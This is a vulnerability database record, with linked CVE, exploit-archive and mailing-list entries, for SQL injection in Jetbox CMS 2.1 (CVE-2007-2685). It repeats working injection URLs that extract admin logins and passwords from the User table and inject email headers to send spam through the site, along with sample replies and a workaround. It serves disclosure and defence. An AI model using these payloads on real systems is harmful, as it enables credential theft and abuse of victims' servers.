ID OSVDB:34784 Type osvdb Reporter OSVDB Modified 2007-05-21T00:00:00
Description
Technical Description
This vulnerability is only present when the magic_quotes_gpc PHP option is 'off'.
Manual Testing Notes
http://[target]/[PRODUCT-DIRECTORY]/index.php?view=-1' UNION SELECT 1,CONCAT(login,'-',user_password),1,1,1,1,1,1,1,1,1,1 FROM User LIMIT 0,1%23
http://[target]/[JETBOX-DIRECTORY]/index.php?view=webuser&task=sendpw&login=-1' UNION SELECT 1,1,1,'spam1mail.com%0ABcc: spam_address2@somedomain.com, spam_address2@somedomain.com, spam_address4@somedomain.com, spam_addressNsome@domain.com%0ASubject: Some Spam Subject%0AFrom: any_addresssome@domain.com%0AMIME-Version: 1.0%0AContent-Type: multipart/mixed; boundary=Hacker;%0A%0A--Hacker%0ASome Spam Message%0A%0AContent-Type:text/ html;name=any_file.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition: attachment%0A%0AHTML File%0A%0A--Hacker- -%0AOther text will be hide',1 FROM user %23
References:
Other Advisory URL: http://www.netvigilance.com/advisory0028
Mail List Post: http://archives.neohapsis.com/archives/fulldisclosure/2007-05/0349.html
ISS X-Force ID: 34387
CVE-2007-2685
Bugtraq ID: 24077
{"bulletinFamily": "software", "viewCount": 1, "reporter": "OSVDB", "references": [], "description": "## Technical Description\nThis vulnerability is only present when the magic_quotes_gpc PHP option is 'off'.\n## Manual Testing Notes\nhttp://[target]/[PRODUCT-DIRECTORY]/index.php?view=-1' UNION SELECT 1,CONCAT(`login`,'-',`user_password`),1,1,1,1,1,1,1,1,1,1 FROM `User` LIMIT 0,1%23\n\nhttp://[target]/[JETBOX-DIRECTORY]/index.php?view=webuser&task=sendpw&login=-1' UNION SELECT 1,1,1,'spam1mail.com%0ABcc: spam_address2@somedomain.com, spam_address2@somedomain.com, spam_address4@somedomain.com, spam_addressNsome@domain.com%0ASubject: Some Spam Subject%0AFrom: any_addresssome@domain.com%0AMIME-Version: 1.0%0AContent-Type: multipart/mixed; boundary=Hacker;%0A%0A--Hacker%0ASome Spam Message%0A%0AContent-Type:text/ html;name=any_file.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition: attachment%0A%0AHTML File%0A%0A--Hacker- -%0AOther text will be hide',1 FROM `user` %23\n## References:\nOther Advisory URL: http://www.netvigilance.com/advisory0028\nMail List Post: http://archives.neohapsis.com/archives/fulldisclosure/2007-05/0349.html\nISS X-Force ID: 34387\n[CVE-2007-2685](https://vulners.com/cve/CVE-2007-2685)\nBugtraq ID: 24077\n", "affectedSoftware": [], "href": "https://vulners.com/osvdb/OSVDB:34784", "modified": "2007-05-21T00:00:00", "enchantments": {"score": {"value": 5.9, "vector": "NONE", "modified": "2017-04-28T13:20:31", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2007-2685"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:7729", "SECURITYVULNS:DOC:17067", "SECURITYVULNS:DOC:17063", "SECURITYVULNS:VULN:7731"]}, {"type": "exploitdb", "idList": ["EDB-ID:30066"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:56891"]}], "modified": "2017-04-28T13:20:31", "rev": 2}, "vulnersScore": 5.9}, "id": "OSVDB:34784", "title": "Jetbox CMS index.php Multiple Variable SQL Injection", "edition": 1, "published": "2007-05-21T00:00:00", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "cvelist": ["CVE-2007-2685"], "lastseen": "2017-04-28T13:20:31"}
{"cve": [{"lastseen": "2020-10-03T11:45:51", "description": "Multiple SQL injection vulnerabilities in index.php in Jetbox CMS 2.1 allow remote attackers to execute arbitrary SQL commands via the (1) view or (2) login parameter.", "edition": 3, "cvss3": {}, "published": "2007-05-21T20:30:00", "title": "CVE-2007-2685", "type": "cve", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": true, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-2685"], "modified": "2018-10-16T16:44:00", "cpe": ["cpe:/a:jetbox:jetbox_cms:2.1"], "id": "CVE-2007-2685", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-2685", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:jetbox:jetbox_cms:2.1:*:*:*:*:*:*:*"]}], "exploitdb": [{"lastseen": "2016-02-03T11:41:23", "description": "Jetbox CMS 2.1 Multiple SQL Injection Vulnerabilities. CVE-2007-2685 . Webapps exploit for php platform", "published": "2007-05-21T00:00:00", "type": "exploitdb", "title": "Jetbox CMS 2.1 - Multiple SQL Injection Vulnerabilities", "bulletinFamily": "exploit", "cvelist": ["CVE-2007-2685"], "modified": "2007-05-21T00:00:00", "id": "EDB-ID:30066", "href": "https://www.exploit-db.com/exploits/30066/", "sourceData": "source: http://www.securityfocus.com/bid/24077/info\r\n\r\nJetbox is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.\r\n\r\nExploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.\r\n\r\nJetbox 2.1 is vulnerable; other versions may also be affected. \r\n\r\n\r\nhttp://www.example.com/path//index.php?view=-1' UNION SELECT 1,CONCAT(`login`,'-',`user_password`),1,1,1,1,1,1,1,1,1,1 FROM `User` LIMIT 0,1%23\r\n\r\nhttp://www.example.com/path//index.php?view=webuser&task=sendpw&login=-1' UNION SELECT 1,1,1,'spam1@mail.com%0ABcc: spam_address2@somedomain.com, spam_address2 somedomain.com, spam_address4@somedomain.com, spam_addressNsomedomain.com%0ASubject: Some Spam Subject%0AFrom: any_address@somedomain.com%0AMIME-Version: 1.0%0AContent-Type: multipart/mixed; boundary=Hacker;%0A%0A--Hacker%0ASome Spam Message%0A%0AContent-Type:text/html;name=any_file.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition: attachment%0A%0AHTML File%0A%0A--Hacker--%0AOther text will be hide',1 FROM `user` %23\r\n\r\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/30066/"}], "securityvulns": [{"lastseen": "2018-08-31T11:10:22", "bulletinFamily": "software", "cvelist": ["CVE-2007-2685"], "description": " netVigilance Security Advisory #28\r\n\r\nJetbox CMS version 2.1 Multiple SQL Injection Vulnerabilities\r\nDescription:\r\nJetbox CMS is seriously tested on usability & has a professional intuitive interface. The system is role based, with workflow and module orientated. All content is fully separated from layout. It uses php & mysql.\r\n\r\nA security problem in the product allows attackers to commit SQL injection.\r\nExternal References: \r\nMitre CVE: CVE-2007-2685\r\nNVD NIST: CVE-2007-2685\r\nOSVDB: 34784\r\n\r\nSummary: \r\nJetbox CMS seriously tested on usability & has a professional intuitive interface. \r\nSuccessful exploitation requires PHP magic_quotes_gpc set to Off on the server.\r\nAdvisory URL: \r\nhttp://www.netvigilance.com/advisory0028\r\n\r\nRelease Date:\r\n05/21/2007\r\n\r\nSeverity:\r\nRisk: High\r\n \r\nCVSS Metrics\r\nAccess Vector: Remote\r\nAccess Complexity: High\r\nAuthentication: Not-required\r\nConfidentiality Impact: Complete\r\nIntegrity Impact: Partial\r\nAvailability Impact: Partial\r\nImpact Bias: Confidentiality\r\nCVSS Base Score: 6.8\r\n \r\nTarget Distribution on Internet: Low\r\n \r\nExploitability: Functional Exploit\r\nRemediation Level: Workaround\r\nReport Confidence: Uncorroborated\r\n \r\nVulnerability Impact: Attack\r\nHost Impact: SQL Injection.\r\n\r\nSecureScout Testcase ID:\r\n\r\n\r\nVulnerable Systems:\r\nJetbox CMS version 2.1\r\n\r\nVulnerability Type:\r\nSQL injection allows malicious people to execute their own SQL scripts. This could be exploited to obtain sensitive data, modify database contents, sending anonymous emails to other recipients or acquire administrator's privileges.\r\nVendor: \r\nStreamedge Consultancy & Development\r\n\r\nVendor Status: \r\nContact with the Vendor was established. The vendor refused to fix the issue and said that Jetbox is not maintained already. There is no official fix at the release of this Security Advisory.\r\nWorkaround:\r\nIn the php.ini file set magic_quotes_gpc = On.\r\n\r\nExample: \r\nSQL Injection Vulnerability 1\r\nREQUEST:\r\nhttp://[TARGET]/[PRODUCT-DIRECTORY]/index.php?view=-1' UNION SELECT 1,CONCAT(`login`,'-',`user_password`),1,1,1,1,1,1,1,1,1,1 FROM `User` LIMIT 0,1%23\r\nREPLY:\r\n...<b>Warning</b>: main([SQL INJECTION RESULT - ADMIN NAME]-[SQL INJECTION RESULT - ADMIN PASSWORD]): failed to open stream: No such file or directory in <b>[SERVER PATH][PRODUCT-DIRECTORY]index.php</b> on line <b>149</b><br />\r\n...<b>Warning</b>: main(): Failed opening '[SQL INJECTION RESULT - ADMIN NAME]-[SQL INJECTION RESULT - ADMIN PASSWORD]' for inclusion (include_path='.;c:php4pear;./;[SERVER PATH][PRODUCT-DIRECTORY]/includes') in <b>[SERVER PATH][PRODUCT-DIRECTORY]index.php</b> on line <b>149</b><br />\r\nSQL Injection Vulnerability 2\r\nREQUEST:\r\nhttp://[TARGET]/[JETBOX-DIRECTORY]/index.php?view=webuser&task=sendpw&login=-1' UNION SELECT 1,1,1,'spam1@mail.com%0ABcc: spam_address2@somedomain.com, spam_address2@somedomain.com, spam_address4@somedomain.com, spam_addressN@somedomain.com%0ASubject: Some Spam Subject%0AFrom: any_address@somedomain.com%0AMIME-Version: 1.0%0AContent-Type: multipart/mixed; boundary=Hacker;%0A%0A--Hacker%0ASome Spam Message%0A%0AContent-Type:text/html;name=any_file.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition: attachment%0A%0AHTML File%0A%0A--Hacker--%0AOther text will be hide',1 FROM `user` %23\r\nREPLY:\r\nSpam will be send from target site\r\nCredits: \r\nJesper Jurcenoks\r\nCo-founder netVigilance, Inc\r\nwww.netvigilance.com\r\n??\r\n\r\n??\r\n\r\n??\r\n\r\n??\r\n\r\n\r\n\r\n\r\n ", "edition": 1, "modified": "2007-05-22T00:00:00", "published": "2007-05-22T00:00:00", "id": "SECURITYVULNS:DOC:17067", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:17067", "title": "Jetbox CMS version 2.1 Multiple SQL Injection Vulnerabilities", "type": "securityvulns", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2018-08-31T11:09:26", "bulletinFamily": "software", "cvelist": ["CVE-2007-2685"], "description": "PHP inclusions, SQL injections, directory traversals, crossite scripting, information leaks, etc.", "edition": 1, "modified": "2007-05-22T00:00:00", "published": "2007-05-22T00:00:00", "id": "SECURITYVULNS:VULN:7731", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:7731", "title": "Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)", "type": "securityvulns", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2018-08-31T11:10:22", "bulletinFamily": "software", "cvelist": ["CVE-2007-2685"], "description": "netVigilance Security Advisory #28\r\nJetbox CMS version 2.1 Multiple SQL Injection Vulnerabilities\r\nDescription:\r\nJetbox CMS is seriously tested on usability & has a professional intuitive interface. The system is role based, with workflow and module orientated. All content is fully separated from layout. It uses php & mysql.\r\nA security problem in the product allows attackers to commit SQL injection.\r\nExternal References: \r\nMitre CVE: CVE-2007-2685\r\nNVD NIST: CVE-2007-2685\r\nOSVDB: 34784\r\nSummary: \r\nJetbox CMS seriously tested on usability & has a professional intuitive interface. \r\nSuccessful exploitation requires PHP magic_quotes_gpc set to Off on the server.\r\nAdvisory URL: \r\nhttp://www.netvigilance.com/advisory0028\r\nRelease Date:\r\n05/21/2007\r\nSeverity:\r\nRisk: High\r\n \r\nCVSS Metrics\r\nAccess Vector: Remote\r\nAccess Complexity: High\r\nAuthentication: Not-required\r\nConfidentiality Impact: Complete\r\nIntegrity Impact: Partial\r\nAvailability Impact: Partial\r\nImpact Bias: Confidentiality\r\nCVSS Base Score: 6.8\r\n \r\nTarget Distribution on Internet: Low\r\n \r\nExploitability: Functional Exploit\r\nRemediation Level: Workaround\r\nReport Confidence: Uncorroborated\r\n \r\nVulnerability Impact: Attack\r\nHost Impact: SQL Injection.\r\nSecureScout Testcase ID:\r\nVulnerable Systems:\r\nJetbox CMS version 2.1\r\nVulnerability Type:\r\nSQL injection allows malicious people to execute their own SQL scripts. This could be exploited to obtain sensitive data, modify database contents, sending anonymous emails to other recipients or acquire administrator's privileges.\r\nVendor: \r\nStreamedge Consultancy & Development\r\nVendor Status: \r\nContact with the Vendor was established. The vendor refused to fix the issue and said that Jetbox is not maintained already. There is no official fix at the release of this Security Advisory.\r\nWorkaround:\r\nIn the php.ini file set magic_quotes_gpc = On.\r\nExample: \r\nSQL Injection Vulnerability 1\r\nREQUEST:\r\nhttp://[TARGET]/[PRODUCT-DIRECTORY]/index.php?view=-1' UNION SELECT 1,CONCAT(`login`,'-',`user_password`),1,1,1,1,1,1,1,1,1,1 FROM `User` LIMIT 0,1%23\r\nREPLY:\r\n...<b>Warning</b>: main([SQL INJECTION RESULT - ADMIN NAME]-[SQL INJECTION RESULT - ADMIN PASSWORD]): failed to open stream: No such file or directory in <b>[SERVER PATH][PRODUCT-DIRECTORY]index.php</b> on line <b>149</b><br />\r\n...<b>Warning</b>: main(): Failed opening '[SQL INJECTION RESULT - ADMIN NAME]-[SQL INJECTION RESULT - ADMIN PASSWORD]' for inclusion (include_path='.;c:php4pear;./;[SERVER PATH][PRODUCT-DIRECTORY]/includes') in <b>[SERVER PATH][PRODUCT-DIRECTORY]index.php</b> on line <b>149</b><br />\r\nSQL Injection Vulnerability 2\r\nREQUEST:\r\nhttp://[TARGET]/[JETBOX-DIRECTORY]/index.php?view=webuser&task=sendpw&login=-1' UNION SELECT 1,1,1,'spam1@mail.com%0ABcc: spam_address2@somedomain.com, spam_address2@somedomain.com, spam_address4@somedomain.com, spam_addressN@somedomain.com%0ASubject: Some Spam Subject%0AFrom: any_address@somedomain.com%0AMIME-Version: 1.0%0AContent-Type: multipart/mixed; boundary=Hacker;%0A%0A--Hacker%0ASome Spam Message%0A%0AContent-Type:text/html;name=any_file.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition: attachment%0A%0AHTML File%0A%0A--Hacker--%0AOther text will be hide',1 FROM `user` %23\r\nREPLY:\r\nSpam will be send from target site\r\nCredits: \r\nJesper Jurcenoks\r\nCo-founder netVigilance, Inc\r\nwww.netvigilance.com\r\n\r\n_______________________________________________\r\nFull-Disclosure - We believe in it.\r\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\r\nHosted and sponsored by Secunia - http://secunia.com/", "edition": 1, "modified": "2007-05-21T00:00:00", "published": "2007-05-21T00:00:00", "id": "SECURITYVULNS:DOC:17063", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:17063", "title": "[Full-disclosure] Jetbox CMS version 2.1 Multiple SQL Injection Vulnerabilities", "type": "securityvulns", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2018-08-31T11:09:26", "bulletinFamily": "software", "cvelist": ["CVE-2007-2685"], "description": "PHP inclusions, SQL injections, directory traversals, crossite scripting, information leaks, etc.", "edition": 1, "modified": "2007-05-21T00:00:00", "published": "2007-05-21T00:00:00", "id": "SECURITYVULNS:VULN:7729", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:7729", "title": "Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)", "type": "securityvulns", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "packetstorm": [{"lastseen": "2016-12-05T22:17:02", "description": "", "published": "2007-05-22T00:00:00", "type": "packetstorm", "title": "jetbox-sql.txt", "bulletinFamily": "exploit", "cvelist": ["CVE-2007-2685"], "modified": "2007-05-22T00:00:00", "id": "PACKETSTORM:56891", "href": "https://packetstormsecurity.com/files/56891/jetbox-sql.txt.html", "sourceData": "`netVigilance Security Advisory #28 \nJetbox CMS version 2.1 Multiple SQL Injection Vulnerabilities \nDescription: \nJetbox CMS is seriously tested on usability & has a professional intuitive interface. The system is role based, with workflow and module orientated. All content is fully separated from layout. It uses php & mysql. \nA security problem in the product allows attackers to commit SQL injection. \nExternal References: \nMitre CVE: CVE-2007-2685 \nNVD NIST: CVE-2007-2685 \nOSVDB: 34784 \nSummary: \nJetbox CMS seriously tested on usability & has a professional intuitive interface. \nSuccessful exploitation requires PHP magic_quotes_gpc set to Off on the server. \nAdvisory URL: \nhttp://www.netvigilance.com/advisory0028 \nRelease Date: \n05/21/2007 \nSeverity: \nRisk: High \n \nCVSS Metrics \nAccess Vector: Remote \nAccess Complexity: High \nAuthentication: Not-required \nConfidentiality Impact: Complete \nIntegrity Impact: Partial \nAvailability Impact: Partial \nImpact Bias: Confidentiality \nCVSS Base Score: 6.8 \n \nTarget Distribution on Internet: Low \n \nExploitability: Functional Exploit \nRemediation Level: Workaround \nReport Confidence: Uncorroborated \n \nVulnerability Impact: Attack \nHost Impact: SQL Injection. \nSecureScout Testcase ID: \nVulnerable Systems: \nJetbox CMS version 2.1 \nVulnerability Type: \nSQL injection allows malicious people to execute their own SQL scripts. This could be exploited to obtain sensitive data, modify database contents, sending anonymous emails to other recipients or acquire administrator's privileges. \nVendor: \nStreamedge Consultancy & Development \nVendor Status: \nContact with the Vendor was established. The vendor refused to fix the issue and said that Jetbox is not maintained already. There is no official fix at the release of this Security Advisory. \nWorkaround: \nIn the php.ini file set magic_quotes_gpc = On. \nExample: \nSQL Injection Vulnerability 1 \nREQUEST: \nhttp://[TARGET]/[PRODUCT-DIRECTORY]/index.php?view=-1' UNION SELECT 1,CONCAT(`login`,'-',`user_password`),1,1,1,1,1,1,1,1,1,1 FROM `User` LIMIT 0,1%23 \nREPLY: \n...<b>Warning</b>: main([SQL INJECTION RESULT - ADMIN NAME]-[SQL INJECTION RESULT - ADMIN PASSWORD]): failed to open stream: No such file or directory in <b>[SERVER PATH][PRODUCT-DIRECTORY]index.php</b> on line <b>149</b><br /> \n...<b>Warning</b>: main(): Failed opening '[SQL INJECTION RESULT - ADMIN NAME]-[SQL INJECTION RESULT - ADMIN PASSWORD]' for inclusion (include_path='.;c:php4pear;./;[SERVER PATH][PRODUCT-DIRECTORY]/includes') in <b>[SERVER PATH][PRODUCT-DIRECTORY]index.php</b> on line <b>149</b><br /> \nSQL Injection Vulnerability 2 \nREQUEST: \nhttp://[TARGET]/[JETBOX-DIRECTORY]/index.php?view=webuser&task=sendpw&login=-1' UNION SELECT 1,1,1,'spam1@mail.com%0ABcc: spam_address2@somedomain.com, spam_address2@somedomain.com, spam_address4@somedomain.com, spam_addressN@somedomain.com%0ASubject: Some Spam Subject%0AFrom: any_address@somedomain.com%0AMIME-Version: 1.0%0AContent-Type: multipart/mixed; boundary=Hacker;%0A%0A--Hacker%0ASome Spam Message%0A%0AContent-Type:text/html;name=any_file.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition: attachment%0A%0AHTML File%0A%0A--Hacker--%0AOther text will be hide',1 FROM `user` %23 \nREPLY: \nSpam will be send from target site \nCredits: \nJesper Jurcenoks \nCo-founder netVigilance, Inc \nwww.netvigilance.com \n \n`\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://packetstormsecurity.com/files/download/56891/jetbox-sql.txt"}]}